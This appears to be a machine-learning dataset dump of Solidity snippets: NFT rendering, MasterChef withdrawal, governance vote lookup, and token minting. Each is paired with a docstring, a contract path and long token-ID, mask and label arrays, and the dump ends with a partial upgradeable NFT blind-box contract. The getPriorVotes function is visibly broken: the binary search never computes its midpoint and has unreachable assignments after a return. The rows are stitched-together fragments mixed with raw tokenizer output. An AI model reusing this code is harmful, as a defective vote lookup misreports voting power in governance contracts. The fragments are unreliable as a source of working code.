(uint160(ownerOf(id))).toHexString(20), '", "image": "', 'data:image/svg+xml;base64,', image, '"}' ) ) ) ) ); } function generateSVGofTokenById(uint256 id) internal view returns (string memory) { string memory svg = string(abi.encodePacked( '<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">', renderTokenById(id), '</svg>' )); return svg; } // Visibility is `public` to enable it being called by other contracts for composition. function renderTokenById(uint256 id) public view returns (string memory) { string memory render = string(abi.encodePacked( '<g transform="translate(-658, -1000) scale(3 3)">', '<style>.st00{fill:#',color[id].toColor(),'}</style>', '<path id="XMLID_42_" class="st00" d="m251.5 348.7-.9.5-2.8-4.6h-3.4l2.2-2.4h-2.1l-1.2-1.9c-.1.1-.3.1-.5.1-1 0-1.8-.8-1.8-1.8s.8-1.9 1.8-1.9 1.8.8 1.8 1.9c0 .5-.2.9-.5 1.3l.9 1.4h3.8l-2.2 2.4h1.6l3.3 5z"/><path id="XMLID_20_" class="st00" d="m254.9 348.7.9.5 2.8-4.6h3.4l-2.2-2.4h2.1l1.2-1.9c.1.1.3.1.5.1 1 0 1.8-.8 1.8-1.8s-.8-1.9-1.8-1.9-1.8.8-1.8 1.9c0 .5.2.9.5 1.3l-.9 1.4h-3.8l2.2 2.4H258l-3.1 5z"/>', '</g>' )); return render; } }
RELEASE THE ROBOTO ANTENNAS!
constructor() ERC721("Roboto Antennas", "ROBOTOANT") { }
7,308,319
[ 1, 30762, 12786, 534, 5704, 27019, 27274, 1157, 50, 3033, 5, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 1435, 4232, 39, 27, 5340, 2932, 14444, 6302, 18830, 25713, 345, 3113, 315, 1457, 38, 27019, 6856, 7923, 288, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0x09b49ccC09a930216fE280E192E64FC145842ECC/sources/contracts/MasterChef.sol
Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accGondolaPerShare).div(1e12).sub( user.rewardDebt ); safeGondolaTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accGondolaPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); }
7,150,191
[ 1, 1190, 9446, 511, 52, 2430, 628, 13453, 39, 580, 74, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 389, 6610, 16, 2254, 5034, 389, 8949, 13, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 3576, 18, 15330, 15533, 203, 3639, 2583, 12, 1355, 18, 8949, 1545, 389, 8949, 16, 315, 1918, 9446, 30, 486, 7494, 8863, 203, 3639, 1089, 2864, 24899, 6610, 1769, 203, 3639, 2254, 5034, 4634, 273, 203, 5411, 729, 18, 8949, 18, 16411, 12, 6011, 18, 8981, 43, 1434, 355, 69, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 203, 7734, 729, 18, 266, 2913, 758, 23602, 203, 5411, 11272, 203, 203, 3639, 4183, 43, 1434, 355, 69, 5912, 12, 3576, 18, 15330, 16, 4634, 1769, 203, 3639, 729, 18, 8949, 273, 729, 18, 8949, 18, 1717, 24899, 8949, 1769, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 729, 18, 8949, 18, 16411, 12, 6011, 18, 8981, 43, 1434, 355, 69, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 1769, 203, 3639, 2845, 18, 9953, 1345, 18, 4626, 5912, 12, 2867, 12, 3576, 18, 15330, 3631, 389, 8949, 1769, 203, 3639, 3626, 3423, 9446, 12, 3576, 18, 15330, 16, 389, 6610, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/97/0x13Bfa75fd0d35540b56919b17AbB1FfF7B114567/sources/HAZAL.sol
* @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "HAZ::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; }
11,442,704
[ 1, 8519, 326, 6432, 1300, 434, 19588, 364, 392, 2236, 487, 434, 279, 1203, 1300, 225, 3914, 1300, 1297, 506, 279, 727, 1235, 1203, 578, 469, 333, 445, 903, 15226, 358, 5309, 7524, 13117, 18, 225, 2236, 1021, 1758, 434, 326, 2236, 358, 866, 225, 1203, 1854, 1021, 1203, 1300, 358, 336, 326, 12501, 11013, 622, 327, 1021, 1300, 434, 19588, 326, 2236, 9323, 487, 434, 326, 864, 1203, 19, 5783, 866, 4486, 8399, 11013, 4804, 866, 10592, 3634, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 2432, 29637, 12, 2867, 2236, 16, 2254, 1203, 1854, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 12, 2629, 1854, 411, 1203, 18, 2696, 16, 315, 19191, 62, 2866, 588, 25355, 29637, 30, 486, 4671, 11383, 8863, 203, 203, 3639, 2254, 1578, 290, 1564, 4139, 273, 818, 1564, 4139, 63, 4631, 15533, 203, 3639, 309, 261, 82, 1564, 4139, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 2080, 1768, 1648, 1203, 1854, 13, 288, 203, 5411, 327, 26402, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 27800, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 20, 8009, 2080, 1768, 405, 1203, 1854, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 1578, 2612, 273, 374, 31, 203, 3639, 2254, 1578, 3854, 273, 290, 1564, 4139, 300, 404, 31, 203, 3639, 1323, 261, 5797, 405, 2612, 13, 288, 203, 5411, 25569, 3778, 3283, 273, 26402, 63, 4631, 6362, 5693, 15533, 203, 5411, 309, 261, 4057, 18, 2080, 1768, 422, 1203, 1854, 13, 288, 203, 7734, 327, 3283, 18, 27800, 31, 203, 7734, 2612, 273, 4617, 31, 203, 7734, 3854, 273, 4617, 300, 404, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 327, 26402, 63, 4631, 6362, 8167, 8009, 27800, 31, 203, 565, 289, 203, 203, 2, -100, -100 ]
./full_match/4/0x0Cd4aB3C76E1F452d951118c8a3861Ca533cef09/sources/Cryptogotchi.sol
add one to generation
device.generation = device.generation.add(1);
816,973
[ 1, 1289, 1245, 358, 9377, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 13491, 2346, 18, 25514, 273, 2346, 18, 25514, 18, 1289, 12, 21, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x1234567a022acaa848E7D6bC351d075dBfa76Dd4/sources/VokenTB.sol
* @dev Creates `amount` VOKEN and assigns them to `account`, increasing the total supply. Emits a {Mint} event. Emits a {Transfer} event with `from` set to the zero address./
function _mint( address account, uint256 amount ) private { uint256 total = _totalSupply.add(amount); require(total <= _cap, "Mint: total supply cap exceeded"); require(account != address(0), "Mint: to the zero address"); _totalSupply = total; _accounts[account].balance = _accounts[account].balance.add(amount); emit Mint(account, amount); emit Transfer(address(0), account, amount); }
4,189,200
[ 1, 2729, 1375, 8949, 68, 776, 6239, 471, 22698, 2182, 358, 1375, 4631, 9191, 21006, 326, 2078, 14467, 18, 7377, 1282, 279, 288, 49, 474, 97, 871, 18, 7377, 1282, 279, 288, 5912, 97, 871, 598, 1375, 2080, 68, 444, 358, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 81, 474, 12, 203, 3639, 1758, 2236, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 203, 3639, 3238, 203, 565, 288, 203, 3639, 2254, 5034, 2078, 273, 389, 4963, 3088, 1283, 18, 1289, 12, 8949, 1769, 203, 203, 3639, 2583, 12, 4963, 1648, 389, 5909, 16, 315, 49, 474, 30, 2078, 14467, 3523, 12428, 8863, 203, 3639, 2583, 12, 4631, 480, 1758, 12, 20, 3631, 315, 49, 474, 30, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 389, 4963, 3088, 1283, 273, 2078, 31, 203, 3639, 389, 13739, 63, 4631, 8009, 12296, 273, 389, 13739, 63, 4631, 8009, 12296, 18, 1289, 12, 8949, 1769, 203, 3639, 3626, 490, 474, 12, 4631, 16, 3844, 1769, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 2236, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.2; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../interfaces/IRiverBoxV2.sol"; import "../interfaces/IRiverBoxRandom.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract RiverBoxImplV2 is IRiverBoxV2, ERC721Upgradeable, ERC721EnumerableUpgradeable, AccessControlUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable, UUPSUpgradeable, OwnableUpgradeable { using StringsUpgradeable for uint256; using SafeMathUpgradeable for uint256; using CountersUpgradeable for CountersUpgradeable.Counter; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; CountersUpgradeable.Counter private _tokenIds; uint16[] private _stockLocations; uint32[] private _stockSignatures; uint32 private _stockCounter; /* ================ GLOBAL CONFIGURATION ================ */ // price per box - Pawn uint256 public boxPrice; uint256 public totalClaimableAmount; string public baseURI; address public randomGeneratorAddress; mapping(uint256 => string) private _tokenURIs; mapping(uint256 => Product) private _tokenDetailsMapping; mapping(address => uint256) public paidBoxes; // number of boxes user has bought mapping(uint256 => Hierarchy) private _tokenHierarchyMapping; mapping(address => uint256) public claimableAmountMapping; mapping(address => uint256) public referrerContrib; uint256 public totalReferrerContrib; address proxyRegistryAddress; /* ================ SHARES ================ */ address public funderAddress; address public devAddress; address public marketAddress; uint8 public devShare; uint8 public marketShare; bool public fuseLock; constructor() initializer {} function initialize( uint256 _boxPrice, string memory _name, string memory _symbol, string memory _initBaseURI, address _proxyRegistryAddress ) public initializer { __Ownable_init(); __Pausable_init(); __AccessControl_init(); __ReentrancyGuard_init(); __ERC721_init(_name, _symbol); __UUPSUpgradeable_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _pause(); fuseLock = true; boxPrice = _boxPrice; baseURI = _initBaseURI; proxyRegistryAddress = _proxyRegistryAddress; } /* ================ UTIL FUNCTIONS ================ */ function _pickLocation(uint256 index) internal returns (uint16, uint32) { uint256 lastIndex = _stockLocations.length - 1; uint16 lastStockLocation = _stockLocations[lastIndex]; uint16 locationId = _stockLocations[index]; _stockLocations[index] = lastStockLocation; _stockLocations.pop(); uint32 lastSignature = _stockSignatures[lastIndex]; uint32 signature = _stockSignatures[index]; _stockSignatures[index] = lastSignature; _stockSignatures.pop(); return (locationId, signature); } /* ================ VIEWS ================ */ function pawnsStock() public view returns (uint256) { return _stockLocations.length.sub(totalClaimableAmount); } function batchStockInfo(uint256 startIndex, uint256 length) public view returns (uint256[] memory, uint256[] memory) { require(startIndex < _stockLocations.length, "startIndex cannot over stockLocationsLength"); require(length > 0, "length cannot equal 0"); uint256 endIndex = MathUpgradeable.min(startIndex + length, _stockLocations.length); uint256 realLength = endIndex - startIndex; uint256[] memory locationIds = new uint256[](realLength); uint256[] memory signatures = new uint256[](realLength); for (uint256 idx = 0; idx < realLength; ++idx) { locationIds[idx] = _stockLocations[startIndex.add(idx)]; signatures[idx] = _stockSignatures[startIndex.add(idx)]; } return (locationIds, signatures); } /** * @dev Ultimate view for inspecting a token * @param tokenId the unique ID of a RiverMenNFT token * @return [[locationId, fusionCount, signature, creationTime, parts], ownerAddress, tokenURI, dealId] * @notice dealId = 0 means the item is not listed in exchange */ function allInfo(uint256 tokenId) public view returns ( Product memory, address, string memory ) { require(_exists(tokenId), "Token not exists"); return (_tokenDetailsMapping[tokenId], ownerOf(tokenId), tokenURI(tokenId)); } /** * @dev Get token detail information */ function tokenDetail(uint256 tokenId) public view override returns (Product memory) { require(_exists(tokenId), "Token not exists"); return _tokenDetailsMapping[tokenId]; } function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, ERC721EnumerableUpgradeable, AccessControlUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } function tokenURI(uint256 tokenId) public view override(IRiverBoxV2, ERC721Upgradeable) returns (string memory) { require(_exists(tokenId), "URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); if (bytes(_tokenURI).length > 0) { return _tokenURI; } else { return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString())) : ""; } } function implementationVersion() public pure override returns (string memory) { return "2.0.0"; } /* ================ PRIVATE FUNCTIONS ================ */ function _notContract() internal view { uint256 size; address addr = msg.sender; assembly { size := extcodesize(addr) } require(size == 0, "contract not allowed"); require(msg.sender == tx.origin, "proxy contract not allowed"); } /** * @dev Mint a new Item * @param receiver account address to receive the new item */ function _awardItem(address receiver) private returns (uint256) { _tokenIds.increment(); uint256 newId = _tokenIds.current(); _safeMint(receiver, newId); return newId; } function _baseURI() internal view override(ERC721Upgradeable) returns (string memory) { return baseURI; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721Upgradeable, ERC721EnumerableUpgradeable) { super._beforeTokenTransfer(from, to, tokenId); } function _authorizeUpgrade(address) internal view override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission to do upgrades"); } /* ================ TRANSACTIONS ================ */ /** * @dev Buy N (n<10) boxes, this function receive payment and * mint new product(s) to sender * @param quality number of boxes * @param referrer referrer account address */ function buy(uint256 quality, address referrer) external payable override whenNotPaused nonReentrant { _notContract(); require(quality <= pawnsStock(), "blind box sold out"); require(quality <= 20, "exceed maximum quality 20"); require(msg.value >= boxPrice.mul(quality), "payment is less than box price"); boxesAward(quality, _msgSender()); if (referrer != address(0)) { referrerContrib[referrer] = referrerContrib[referrer].add(quality); totalReferrerContrib = totalReferrerContrib.add(quality); } paidBoxes[_msgSender()] = paidBoxes[_msgSender()].add(quality); } function boxesAward(uint256 quality, address receiver) internal { uint256 salt = uint256(keccak256(abi.encodePacked(quality, receiver, totalSupply()))); uint256 seed = IRiverBoxRandom(randomGeneratorAddress).generateSignature(salt); for (uint256 i = 0; i < quality; ++i) { seed = seed.add(totalSupply()); uint256 randomIdx = uint256(keccak256(abi.encodePacked(seed))).mod(_stockLocations.length); (uint16 pawnLocationId, uint32 signature) = _pickLocation(randomIdx); Product memory newItem = Product(pawnLocationId, 0, signature, new uint256[](0)); uint256 newId = _awardItem(receiver); _tokenDetailsMapping[newId] = newItem; emit BoxAwarded(receiver, newId, block.timestamp); } } /* ================ ADMIN ACTIONS ================ */ /** * @dev Set a new base URI * param newBaseURI new baseURI address */ function setBaseURI(string memory newBaseURI) external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); baseURI = newBaseURI; } function batchSetPawnLocationStock(uint16[] memory locationIds, uint16[] memory locationIdStocks) external { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); for (uint16 locationIdx = 0; locationIdx < locationIds.length; ++locationIdx) { uint16 locationId = locationIds[locationIdx]; uint16 locationIdStock = locationIdStocks[locationIdx]; for (uint16 stockIdx = 0; stockIdx < locationIdStock; ++stockIdx) { _stockLocations.push(locationId); _stockCounter = _stockCounter + 1; require(_stockCounter >= 1, "SafeMath: addition overflow"); _stockSignatures.push(_stockCounter); } } } /** * @dev Triggers stopped state. */ function pause() external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); _pause(); } /** * @dev Returns to normal state. */ function unPause() external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); _unpause(); } /** * @dev Triggers stopped state. * @param newPrice new box price */ function setBoxPrice(uint256 newPrice) external override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "require admin permission"); boxPrice = newPrice; emit 